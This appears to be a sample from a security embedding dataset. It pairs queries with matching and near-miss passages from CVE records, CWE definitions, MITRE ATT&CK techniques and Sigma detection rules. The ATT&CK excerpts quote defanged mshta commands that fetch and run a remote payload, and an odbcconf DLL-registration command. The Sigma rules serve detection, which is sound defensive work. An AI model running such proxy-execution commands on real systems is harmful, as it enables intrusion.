alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: vulnerability: Microsoft Edge mishandles HTML attributes in HTTP responses, which allows remote attackers to bypass a cross-site scripting (XSS) protection mechanism via unspecified vectors, aka 
Matching passage: CVE-2015-6058. CWE: CWE-79. CVSS: 4.300000190734863. Microsoft Edge mishandles HTML attributes in HTTP responses, which allows remote attackers to bypass a cross-site scripting (XSS) protection mechanism via unspecified vectors, aka "Microsoft Edge XSS Filter Bypass."
Near-miss passage: CVE-2015-9444. CWE: CWE-79. CVSS: 6.099999904632568. The altos-connect plugin 1.3.0 for WordPress has XSS via the wp-content/plugins/altos-connect/jquery-validate/demo/demo/captcha/index.php/ PATH_SELF.
Query: vulnerability: Buffer overflow in Adobe Flash Player before 18.0.0.252 and 19.x before 19.0.0.207 on Windows and OS X and before 11.2.202.535 on Linux, Adobe AIR before 19.0.0.213, Adobe AIR SDK 
Matching passage: CVE-2015-7632. CWE: CWE-119. CVSS: 9.300000190734863. Buffer overflow in Adobe Flash Player before 18.0.0.252 and 19.x before 19.0.0.207 on Windows and OS X and before 11.2.202.535 on Linux, Adobe AIR before 19.0.0.213, Adobe AIR SDK before 19.0.0.213, and Adobe AIR SDK & Compiler before 19.0.0.213 allows attackers to execute arbitrary code via a Loader object with a crafted loaderBytes property.
Near-miss passage: CVE-2015-7625. CWE: CWE-119. CVSS: 10.0. Adobe Flash Player before 18.0.0.252 and 19.x before 19.0.0.207 on Windows and OS X and before 11.2.202.535 on Linux, Adobe AIR before 19.0.0.213, Adobe AIR SDK before 19.0.0.213, and Adobe AIR SDK & Compiler before 19.0.0.213 allow attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2015-7626, CVE-2015-7627, CVE-2015-7630, CVE-2015-7633, and CVE-2015-7634.
Query: detection engineering for Proxy
Matching passage: T1090 Proxy. Tactics: command and control. Description: Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic. Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.
Near-miss passage: T1090.003 Multi-hop Proxy. Tactics: command and control. Description: Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. For example, adversaries may construct or use onion routing networks – such as the publicly available [Tor](https://attack.mitre.org/software/S0183) network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network.(Citation: Onion Routing) Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations.(Citation: ORB Mandiant) In the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., [Network Devices](https://attack.mitre.org/techniques/T1584/008)). By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001) on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport. Similarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.(Citation: NGLite Trojan)
Query: Sigma YAML for windows / pipe_created
Matching passage: Sigma rule: Detects default CSExec pipe creation. Logsource: windows / pipe_created. Rule: title: PUA - CSExec Default Named Pipe id: f318b911-ea88-43f4-9281-0de23ede628e related: - id: 9e77ed63-2ecf-4c7b-b09d-640834882028 type: obsolete status: test description: Detects default CSExec pipe creation references: - https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view - https://github.com/malcomvetter/CSExec author: Nikita Nazarov, oscd.community, Nasreddine Bencherchali (Nextron Systems) date: 2023-08-07 modified: 2023-11-30 tags: - attack.lateral-movement - attack.t1021.002 - attack.execution - attack.t1569.002 logsource: product: windows category: pipe_created definition: Note that you have to configure logging for Named Pipe Events in Sysmon config (Event ID 17 and Event ID 18). The basic configuration is in popular sysmon configuration (https://github.com/SwiftOnSecurity/sysmon-config), but it is worth verifying. You can also use other repo, e.g. https://github.com/Neo23x0/sysmon-config, https://github.com/olafhartong/sysmon-modular. How to test detection? You can check powershell script from this site https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575 detection: selection: PipeName|contains: \csexecsvc condition: selection falsepositives: - Legitimate Administrator activity level: medium
Near-miss passage: Sigma rule: Detect usage of the "ssh.exe" binary as a proxy to launch other programs.. Logsource: windows / process_creation. Rule: title: Program Executed Using Proxy/Local Command Via SSH.EXE id: 7d6d30b8-5b91-4b90-a891-46cccaf29598 status: test description: Detect usage of the "ssh.exe" binary as a proxy to launch other programs. references: - https://lolbas-project.github.io/lolbas/Binaries/Ssh/ - https://github.com/LOLBAS-Project/LOLBAS/pull/211/files - https://gtfobins.github.io/gtfobins/ssh/ - https://man.openbsd.org/ssh_config#ProxyCommand - https://man.openbsd.org/ssh_config#LocalCommand author: frack113, Nasreddine Bencherchali date: 2022-12-29 modified: 2025-10-16 tags: - attack.stealth - attack.t1218 logsource: category: process_creation product: windows detection: selection_parent: ParentImage: C:\Windows\System32\OpenSSH\sshd.exe selection_cli_img: - Image|endswith: \ssh.exe - Product: OpenSSH for Windows - Hashes|contains: - IMPHASH=55b4964d29aad5438b9e950052dbbbc0 - IMPHASH=334d66c33503ccbf647c15b47c27eef4 - IMPHASH=27b0da080ef92afb37983d30d839141e - IMPHASH=977eb4c263d384e47daa0712d34713ab - IMPHASH=3eaadce9ae43d5a918bb082065815c3b - IMPHASH=980fe6cf0d996ab1eedf877222e722aa - IMPHASH=5f959422308ac3d721010d66647e100e - IMPHASH=a49aaa3d03d1cd9c8dc7fca60f7f480b - IMPHASH=dd335f759b6d5d6a8382b71dd9d65791 selection_cli_flags: - CommandLine|contains: ProxyCommand= - CommandLine|contains|all: - PermitLocalCommand=yes - ' LocalCommand' condition: selection_parent or all of selection_cli_* falsepositives: - Legitimate usage for administration purposes level: medium
Query: common weakness: Improper Handling of Extra Values
Matching passage: CWE-231 Improper Handling of Extra Values. The product does not handle or incorrectly handles when more values are provided than expected.
Near-miss passage: CWE-524 Use of Cache Containing Sensitive Information. The code uses a cache that contains sensitive information, but the cache can be read by an actor outside of the intended control sphere.
Query: CWE for Multiple Interpretations of UI Input
Matching passage: CWE-450 Multiple Interpretations of UI Input. The UI has multiple interpretations of user input but does not prompt the user when it selects the less secure interpretation.
Near-miss passage: CWE-161 Improper Neutralization of Multiple Leading Special Elements. The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component.
Query: risk of Race condition in Cisco IOS 12.2SCH in the Performance Routing Engine (PRE) module on uBR10000 devices, when NetFlow and an MPLS IPv6 VPN are configured, allows remote attackers to
Matching passage: CVE-2015-4203. CWE: CWE-362. CVSS: 5.400000095367432. Race condition in Cisco IOS 12.2SCH in the Performance Routing Engine (PRE) module on uBR10000 devices, when NetFlow and an MPLS IPv6 VPN are configured, allows remote attackers to cause a denial of service (PXF process crash) by sending malformed MPLS 6VPE packets quickly, aka Bug ID CSCud83396.
Near-miss passage: CVE-2015-8996. CWE: CWE-362. CVSS: 7.0. In TrustZone a time-of-check time-of-use race condition could potentially exist in a QFPROM routine in all Android releases from CAF using the Linux kernel.
Query: CVE similar to CVE-2015-3837
Matching passage: CVE-2015-3837. CWE: CWE-20. CVSS: 9.300000190734863. The OpenSSLX509Certificate class in org/conscrypt/OpenSSLX509Certificate.java in Android before 5.1.1 LMY48I improperly includes certain context data during serialization and deserialization, which allows attackers to execute arbitrary code via an application that sends a crafted Intent, aka internal bug 21437603.
Near-miss passage: CVE-2015-8229. CWE: CWE-20. CVSS: 4.0. Huawei eSpace U2980 unified gateway with software before V100R001C10 and U2990 with software before V200R001C10 allow remote authenticated users to cause a denial of service via crafted signaling packets from a registered device.
Query: write Sigma for Detects the creation of "ebpfbackdoor" files in both "cron.d" and "sudoers.d" directories. Which both are related to the
Matching passage: Sigma rule: Detects the creation of "ebpfbackdoor" files in both "cron.d" and "sudoers.d" directories. Which both are related to the. Logsource: linux / file_event. Rule: title: Triple Cross eBPF Rootkit Default Persistence id: 1a2ea919-d11d-4d1e-8535-06cda13be20f status: test description: Detects the creation of "ebpfbackdoor" files in both "cron.d" and "sudoers.d" directories. Which both are related to the TripleCross persistence method references: - https://github.com/h3xduck/TripleCross/blob/12629558b8b0a27a5488a0b98f1ea7042e76f8ab/apps/deployer.sh author: Nasreddine Bencherchali (Nextron Systems) date: 2022-07-05 modified: 2022-12-31 tags: - attack.privilege-escalation - attack.execution - attack.persistence - attack.t1053.003 logsource: product: linux category: file_event detection: selection: TargetFilename|endswith: ebpfbackdoor condition: selection falsepositives: - Unlikely level: high
Near-miss passage: Sigma rule: Detects disabling of the Windows Defender feature of scanning for malware and other potentially unwanted software. Logsource: windows / windefend. Rule: title: Windows Defender Malware And PUA Scanning Disabled id: bc275be9-0bec-4d77-8c8f-281a2df6710f related: - id: fe34868f-6e0e-4882-81f6-c43aa8f15b62 type: obsolete status: stable description: Detects disabling of the Windows Defender feature of scanning for malware and other potentially unwanted software references: - https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide#event-id-5010 - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md - https://craigclouditpro.wordpress.com/2020/03/04/hunting-malicious-windows-defender-activity/ author: Ján Trenčanský, frack113 date: 2020-07-28 modified: 2023-11-22 tags: - attack.defense-impairment - attack.t1685 logsource: product: windows service: windefend detection: selection: EventID: 5010 condition: selection falsepositives: - Unknown level: high
Query: Encoded PowerShell / command-line abuse matching Mshta
Matching passage: T1218.005 Mshta. Tactics: stealth. Description: Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications) Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code> They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code> Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)
Near-miss passage: T1218.008 Odbcconf. Tactics: stealth. Description: Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft. Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs (ex: <code>odbcconf.exe /S /A &lbrace;REGSVR "C:\Users\Public\file.dll"&rbrace;</code>). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)
Query: describe CVE-2015-1626
Matching passage: CVE-2015-1626. CWE: CWE-399. CVSS: 9.300000190734863. Microsoft Internet Explorer 11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2015-0056 and CVE-2015-1623.
Near-miss passage: CVE-2015-0217. CWE: CWE-399. CVSS: 6.800000190734863. filter/mediaplugin/filter.php in Moodle through 2.5.9, 2.6.x before 2.6.7, 2.7.x before 2.7.4, and 2.8.x before 2.8.2 allows remote authenticated users to cause a denial of service (CPU consumption or partial outage) via a crafted string that is matched against an improper regular expression.
Query: CWE for Improper Write Handling in Limited-write Non-Volatile Memories
Matching passage: CWE-1246 Improper Write Handling in Limited-write Non-Volatile Memories. The product does not implement or incorrectly implements wear leveling operations in limited-write non-volatile memories.
Near-miss passage: CWE-1328 Security Version Number Mutable to Older Versions. Security-version number in hardware is mutable, resulting in the ability to downgrade (roll-back) the boot firmware to vulnerable code versions.
Query: adversary uses Internet Connection Discovery
Matching passage: T1016.001 Internet Connection Discovery. Tactics: discovery. Description: Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), <code>tracert</code>, and GET requests to websites, or performing initial speed testing to confirm bandwidth. Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.
Near-miss passage: T1016 System Network Configuration Discovery. Tactics: discovery. Description: Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. <code>show ip route</code>, <code>show ip interface</code>).(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion ) On ESXi, adversaries may leverage esxcli to gather network configuration information. For example, the command `esxcli network nic list` will retrieve the MAC address, while `esxcli network ip interface ipv4 get` will retrieve the local IPv4 address.(Citation: Trellix Rnasomhouse 2024) Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.
Query: describe CVE-2015-4021
Matching passage: CVE-2015-4021. CWE: CWE-189. CVSS: 5.0. The phar_parse_tarfile function in ext/phar/tar.c in PHP before 5.4.41, 5.5.x before 5.5.25, and 5.6.x before 5.6.9 does not verify that the first character of a filename is different from the \0 character, which allows remote attackers to cause a denial of service (integer underflow and memory corruption) via a crafted entry in a tar archive.
Near-miss passage: CVE-2015-4491. CWE: CWE-189. CVSS: 6.800000190734863. Integer overflow in the make_filter_table function in pixops/pixops.c in gdk-pixbuf before 2.31.5, as used in Mozilla Firefox before 40.0 and Firefox ESR 38.x before 38.2 on Linux, Google Chrome on Linux, and other products, allows remote attackers to execute arbitrary code or cause a denial of service (heap-based buffer overflow and application crash) via crafted bitmap dimensions that are mishandled during scaling.
Query: patch priority for CVE-2015-5668
Matching passage: CVE-2015-5668. CWE: CWE-89. CVSS: 7.5. SQL injection vulnerability in Techno Project Japan Enisys Gw before 1.4.1 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.
Near-miss passage: CVE-2015-4610. CWE: CWE-89. CVSS: 6.5. SQL injection vulnerability in the Store Locator (locator) extension before 3.3.1 for TYPO3 allows remote authenticated users to execute arbitrary SQL commands via unspecified vectors.
Query: risk of The FancyBox for WordPress plugin before 3.0.3 for WordPress does not properly restrict access, which allows remote attackers to conduct cross-site scripting (XSS) attacks via an m
Matching passage: CVE-2015-1494. CWE: CWE-79. CVSS: 4.300000190734863. The FancyBox for WordPress plugin before 3.0.3 for WordPress does not properly restrict access, which allows remote attackers to conduct cross-site scripting (XSS) attacks via an mfbfw[*] parameter in an update action to wp-admin/admin-post.php, as demonstrated by the mfbfw[padding] parameter and exploited in the wild in February 2015.
Near-miss passage: CVE-2015-2793. CWE: CWE-79. CVSS: 6.099999904632568. Cross-site scripting (XSS) vulnerability in templates/openid-selector.tmpl in ikiwiki before 3.20150329 allows remote attackers to inject arbitrary web script or HTML via the openid_identifier parameter in a verify action to ikiwiki.cgi.
Query: describe CVE-2015-5896
Matching passage: CVE-2015-5896. CWE: CWE-119. CVSS: 7.199999809265137. The kernel in Apple iOS before 9 allows local users to gain privileges or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2015-5868 and CVE-2015-5903.
Near-miss passage: CVE-2015-3688. CWE: CWE-119. CVSS: 6.800000190734863. CoreText in Apple iOS before 8.4 and OS X before 10.10.4 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted text file, a different vulnerability than CVE-2015-3685, CVE-2015-3686, CVE-2015-3687, and CVE-2015-3689.
Query: exploit Sandstorm Cap'n Proto before 0.4.1.1 and 0.5.x before 0.5.1.1 allows remote peers to cause a denial of service (CPU and possibly general resource consumption) via a list with a lar
Matching passage: CVE-2015-2312. CWE: CWE-400. CVSS: 7.5. Sandstorm Cap'n Proto before 0.4.1.1 and 0.5.x before 0.5.1.1 allows remote peers to cause a denial of service (CPU and possibly general resource consumption) via a list with a large number of elements.
Near-miss passage: CVE-2015-5333. CWE: CWE-400. CVSS: 7.5. Memory leak in the OBJ_obj2txt function in LibreSSL before 2.3.1 allows remote attackers to cause a denial of service (memory consumption) via a large number of ASN.1 object identifiers in X.509 certificates.